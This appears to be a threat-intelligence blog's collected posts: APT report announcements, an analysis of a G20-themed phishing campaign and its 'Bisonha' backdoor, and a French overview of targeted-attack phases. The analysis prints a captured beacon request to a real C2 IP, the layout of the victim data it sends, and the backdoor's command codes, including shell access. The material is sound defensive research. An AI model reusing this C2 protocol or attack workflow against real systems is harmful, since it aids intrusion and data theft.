Cedric PERNET - Threat Intel, APT & Cybercrime

Hello there,

I had the pleasure to work with Feike and Kenney on this blog post which reveals an interesting (hopefully) part of APT33's infrastructure.

Hope you'll like it !

The SLUB guys are back !

We detected them from another watering hole, and they updated their malware. More about it here.

As a reminder, we first published about them here

So here is a new blog post. It was a great collaborative work with several of my highly skilled colleagues :-)

It is all about a new malware we discovered recently, used in an APT, and sitting on an interesting watering hole.

Hi all,

I have written this blog post in collab with my good friends Kenney and Lenart... ;-)

Available HERE.

Hi folks,

I've published a new blog post today on Trend Micro's blog. This is once again about some APT campaign, this time showing some of the new modus operandi from a threat actor named Winnti.

It is available here.

I have published a new report about an APT threat actor known as "Emissary Panda" which originates from China. The blog entry is here, while the full paper is here. There is also an appendix here.

This research paper involved a lot of work with my great colleagues from CSS/Trend Micro. It was a great pleasure to write it :-)

I hope you will enjoy this long (more than 50 pages) paper ! :-)

Here is the link to a new blog post I wrote with friends Kenney Lu and Dark Luo from Trend Micro.

It has several interesting aspects, in my mind:

• The fact that there is an ongoing campaign against french people, using french material, which is rare enough to be worth mentioning;
• The fact that there is a kit used to drop different payloads: Gootkit, CryptoWall, some banking trojan...;
• The fact that it uses an innovating method to infect the victims computers.

Hope you will enjoy the read ! :-)

On a recent blog post, Claudio Guarnieri analyzes an APT attack campaign launched by the "Calc Group".

This group of attackers used the soon-coming "G20 Summit" to spear phish their targets. which are mostly financial institutions and governments. The attack in itself is really not sophisticated, it is just made of an archive file (.ZIP) containing a malicious executable file (.EXE).

The names of the zip files are:

• G20 Briefing Papers.zip
• G20 Summit Paper.zip

These archives contains the following files:

• G20 Discussion Paper.exe
• GPFI Work Plan 2013.exe
• G20 Summit Improving global confidence and support the globa.EXE
• Improving global confidence and support.pdf.exe
• The list of NGOs representatives accredited at the Press Center of The G20 Leaders' Summit 2013.pdf.exe

One might be surprised that people really do open such zip files and click on these executables, but believe me, some people still do. Once again, it shows us that it is not necessary to deploy brilliant strategies to infect people with targeted malware.

Claudio makes a great analyse of these attacks in his blog post, so I won't write about it and let you read it instead. Now what I wanted to know was what happened next. I was especially interested in the second attack, because it had been submitted to Virus Total (VT) from France.

To summarize Claudio's analysis, the attack scheme goes like this :

• The victim gets the zip file, opens it, and executes the malicious executable.
• The executable shows a decoy document (PDF) about the G20 or such.
• The executable starts keylogging and downloads more malware.

This last point is very important to me: what malware is downloaded, and why? (the "why" can be expected though...)

To quote Claudio, "these samples are just an initial stage of a larger suite of malware, possibly including Aumlib and Ixeshe, which it will try to download from a fixed list of URLs embedded in the binary".

Luckily enough, the second stage malware was still available and I could download it for analysis. It turns out that it is not an "AumLib" or an "Ixeshe", but a variant of a less known malware, called "Bisonha" by the malware researcher's community.

To bypass anti-virus and IDS/IPS products, it is downloaded "upside down" (the first byte becomes the last byte, etc.) and written locally as a regular executable once it is downloaded successfully, then executed.

The file shows a "Java" icon, to try to look more "legitimate" to users. At the time of writing, the sample I downloaded had not been submitted to Virus Total, so I did. The detection rate for this sample is 12/46.

This malware has no persistence mechanism (the first stage downloader makes it persistent), and once executed starts communicating with an IP address 23.19.122.196 on port 443:

GET
/300100000000F0FD1F003746374637433731333433363334333600484F4D45000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070155736572000000000000000000000000000000000000000000000000000000000000000000006444000000000000000000000000000000000000000000 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 23.19.122.196
Connection: Keep-Alive
Cache-Control: no-cache

As you can see, the network traffic is on port 443 (HTTPS) but it is definitely no HTTPS traffic, rather hex-encoded data:

0000000: 0000 0000 f0fd 1f00 3746 3746 3743 3731  ........7F7F7C71
0000010: 3334 3336 3334 3336 0048 4f4d 4500 0000  34363436.HOME...
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000050: 0000 0000 0000 0000 0007 0155 7365 7200  ...........User.
0000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0000080: 0064 4400 0000 0000 0000 0000 0000 0000  .dD.............
0000090: 0000 0000 0000 0000                      ........

My reverse engineering rockstar friend Fabien Perigaud had a closer look at the malware and provided me with more information:

Offset: 0x4: RAM size in kilobytes
Offset: 0x8: Hard-drive ID, xored with the machine name then hex-encoded
Offset: 0x19: Machine name
Offset: 0x59: Operating system version (in malware author's writing)
Offset: 0x60: Number of processors
Offset: 0x61: User name
Offset: 0x81: A unique identifier (probably used as a campaign identifier?) - Here it is "dD" but other two characters identifiers have been witnessed in the wild.

The commands which can be sent to the malware are sent in answer:

3004: File writing
3005: File reading
3006: Writing and execution of a file

3115 : provide a shell

3222 : write a new ID in %APPDATA%\recycle.ini 
3223 : auto deletion of the malware
3224 : update

This quick analysis shows us that no matter how deep your knowledge is about an attacker, you're never safe from seeing him change his methods completely. That is why APT attacks attribution is such a hard task.

Thanks to Fabien, Jesse, Brian and Ned for the help while writing this small post ;-)

EDIT: (2013/09/04) Satnam Narang from Symantec just posted interesting material about the same APT campaign. You can read it here. In few words, Poison Ivy RAT is also in the game ;)

"APT" est un acronyme que l'on entend depuis plusieurs années. Le terme a été usé largement par les commerciaux et marketeux de plein de sociétés IT vendeuses de peur, mais a toujours fait rugir les spécialistes du domaine.

"APT" signifie "Advanced Persistent Threat". Personnellement, je préfère parler d'"attaque ciblée" ou, lorsque j'en discute avec des collègues étrangers, de "targeted attack".

On a lu tout et n'importe quoi sur le sujet, ce qui m'a décidé d'en parler un petit peu ici. Cela me permet aussi de sortir mon blog de sa torpeur et des ricanements bêtes de mes collègues qui me reprochent son inactivité et son usage "self-advertise" des derniers posts (ils ont raison, mais ne leur dites pas que je l'ai admis).

Alors l'APT, ou attaque ciblée, c'est quoi ? C'est une attaque ciblée sur une/des entreprises, qui se maintient dans le temps, dans le but de se maintenir sur le système pour y dérober de l'information sensible/stratégique.

Cette attaque se déroule en plusieurs phases, que nous allons énumérer succintement.

1. Définition de la cible et collecte d'informations

Le choix d'une cible semble relativement aisé (bien que cela puisse se complexifier rapidement avec certaines entreprises qui disposent de nombreuses filiales et/ou de sous-traitants), La collecte d'information à ce stade se focalise sur les informations publiques disponibles rapidement sur Internet : employés facilement atteignables par les réseaux sociaux (LinkedIn, Viadeo, mais aussi copainsdavant, Facebook, etc.), adresses IP publiques de l'entreprise et/ou de ses filiales, etc.etc.

Cela ressemble beaucoup à la phase de reconnaissance d'un bon vieux pentest.

2. Définition de la stratégie d'attaque

L'attaquant va se retrouver confronté à une problématique : comment pénétrer le système ? Un ensemble de questions se pose alors.

-> Quelle est la meilleure méthode selon lui pour infecter cette cible ? Les choix habituels possibles:

• Attaque Watering hole ? (histoire de caser un des dernier terme des marketeux de Symantec) En gros cela consiste à infecter des sites Internet susceptibles d'être visités par la cible, afin d'infecter cette cible. Un exemple: admettons que je vise un grand constructeur automobile. En infectant le site d'un sous-traitant fabricant une pièce très spécifique nécessaire à la construction d'un véhicule, on peut imaginer que la page de cette pièce, sur Internet, sera principalement visitée par des professionnels en ayant besoin... Et donc par la cible ou l'un de ses concurrents.

• Spear-Phishing : l'attaquant va cibler une ou plusieurs adresses e-mail d'employés, en leur envoyant un courrier attractif dont le but est d'être ouvert, afin de compromettre le poste de travail de l'employé. Cela se présentera souvent sous la forme d'un document Adobe PDF ou Microsoft Office permettant d'infecter le poste de travail.

• Compromission directe du SI: l'attaquant se focalise ici sur la compromission d'un serveur web par exemple, ou d'autres ressources de l'entreprise accessibles depuis Internet. Généralement, il s'agira d'exploiter une vulnérabilité, présente sur un serveur, afin d'espérer pouvoir rebondir ailleurs dans le SI et aller vers l'information intéressante.

• Attaque physique : Beaucoup plus rare... L'attaquant dispose par exemple d'un accès au parking souterrain de la cible, et va laisser trainer une/plusieurs clefs USB au sol, dans l'espoir qu'un employé la glisse dans son poste de travail... Devinez ce qu'il y a sur la clef ? Un beau petit malware bien sûr... Qui deviendra un point d'entrée dans la société.

Note: A l'heure actuelle, la compromission d'un SI par tout biais informatique est nettement favorisée par rapport aux techniques "à l'ancienne", à savoir soudoyer des sous-traitants pour avoir un accès physique aux machines (on peut imaginer qu'une femme de ménage puisse accepter facilement une certaine somme d'argent pour "simplement aller brancher une clef USB" sur un ordinateur...)

-> De quel laps de temps dispose-t-il ?

Plus l'attaquant dispose de temps, plus l'attaque sera discrète, tout simplement. Au lieu de noyer plusieurs employés de multiples mails, qui pourraient lever une alerte, un mail est envoyé de temps en temps... Autre exemple, quelques scans de ports par ci par là répartis sur une journée lèveront moins d'alertes que des milliers de scans en quelques heures.

3. L' attaque

Une fois toutes les décisions prises, l'attaquant se lance dans sa campagne d'attaque. Le but est d'obtenir un ou plusieurs accès au SI de l'entreprise. L'idéal consiste à infecter différents réseaux de l'entreprise, et d'y obtenir des droits élevés.

Il suffit parfois de peu pour compromettre tout un SI: un poste de travail avec un utilisateur loggé avec des droits d'administrateur permet souvent de rebondir sur de nombreuses machines et parties différentes du SI.

Bref, le but ici est d'obtenir des droits élevés sur une/des machines/serveurs de l'entreprise, et de pouvoir rebondir partout et ainsi pouvoir obtenir tout document intéressant.

Les attaques reproduisent souvent le même schéma :

- Compromission d'une machine - Elévation de privilèges : administrateur local, administrateur de domaine - Compromission des serveurs stratégiques du SI (Active Directory notamment)

4. La persistance

Une fois que l'attaquant "maitrise" bien les différentes parties du SI qui l'intéressent, sa première préoccupation est de s'assurer que son travail ne sera pas vain et qu'il pourra toujours revenir dans le réseau les jours suivants. Il va donc installer des RAT (Remote Administration Tools) ou des portes dérobées afin de toujours disposer d'accès. En général, plusieurs outils différents sont utilisés, augmentant les chances de se maintenir sur le système si l'une des backdoors était découverte.

A noter que l'attaquant peut très bien se créer des utilisateurs sur le réseau, ou utiliser des profils d'administrateurs existants pour rester discret.

5. Le vol de données

L'attaquant, arrivé à ce stade, dispose souvent de tous les droits sur le système d'information de l'entreprise. En tout cas, pour la blague, il dispose toujours de plus de droits que les pauvres "incident responders" qui vont devoir investiguer lorsque l'APT sera découverte.

La technique la plus courante ici pour exfiltrer de la donnée consiste à créer des archives chiffrées (RAR étant le format le plus courant) des données sensibles, puis à les transférer tranquillement à partir de l'un des clients du RAT installé sur la machine. Les attaquants exfiltrent la plupart du temps les données à partir d'une machine qu'ils ont plus ou moins dédié à cette activité.

Bref...

Bien des aspects des APT ne sont pas évoqués ici, ce billet se voulant générique.

Ce qui me chiffonne un peu, finalement, dans "APT", c'est le A. Pourquoi donc ? Tout simplement parce que :

• les attaquants ne sont pas des dieux du code, du shell, ou de quoi que ce soit de vraiment technique.
• les outils utilisés par les attaquants sont la plupart du temps très basiques, que ce soit pour la compromission, la persistance ou le vol de données. Il s'agit d'outils génériques connus de toute la communauté de la sécurité informatique et des Administrateurs Systèmes (PwDump ou PsExec pour ne citer qu'eux à titre d'exemple).
• les RAT utilisés sont souvent des RAT génériques, tout juste retouchés pour contourner les anti-virus (un exemple : Poison Ivy). Rares sont les RAT spécifiquement développés pour des attaques ciblées (et du coup non disponibles à la vente sur des forums underground).
• Les exploits utilisés pour les compromissions initiales sont souvent vieux, mais après tout, les entreprises patchent avec tellement de retard que ce n'est pas grave. Pas besoin de 0day comme le prétendent certains vendeurs de peur.

Le seul aspect "avancé" de ces attaques que je vois serait plutôt dans la structure même des groupes d'attaques : le fait d'être un groupe formé à attaquer, avec des personnes s'occupant des malware, d'autres personnes s'occupant des compromissions initiales, encore d'autres attaquants ne s'occupant que de la persistance et du rebond sur de nombreuses machines du SI compromis, et probablement de l'exfiltration des données. A cela s'ajoutent des administrateurs des serveurs de command&control et de toutes les structures informatiques nécessaires aux attaquants (enregistrements de noms de domaines dédiés, configuration de serveurs dédiés, etc.).

Joe Stewart, grand expert du domaine, estime que les plus grands groupes d'attaquants sont constitués de plusieurs centaines de personnes...

L'aspect le plus intéressant est celui sur lequel on en sait le moins : l'économie souterraine autour des APT. Quels sont les commanditaires de ces attaques (on le sait dans certains cas, et jamais dans d'autres) ? Comment sont rémunérés les attaquants ? Comment est structuré exactement le groupe d'attaquants lié à telle ou telle attaque ?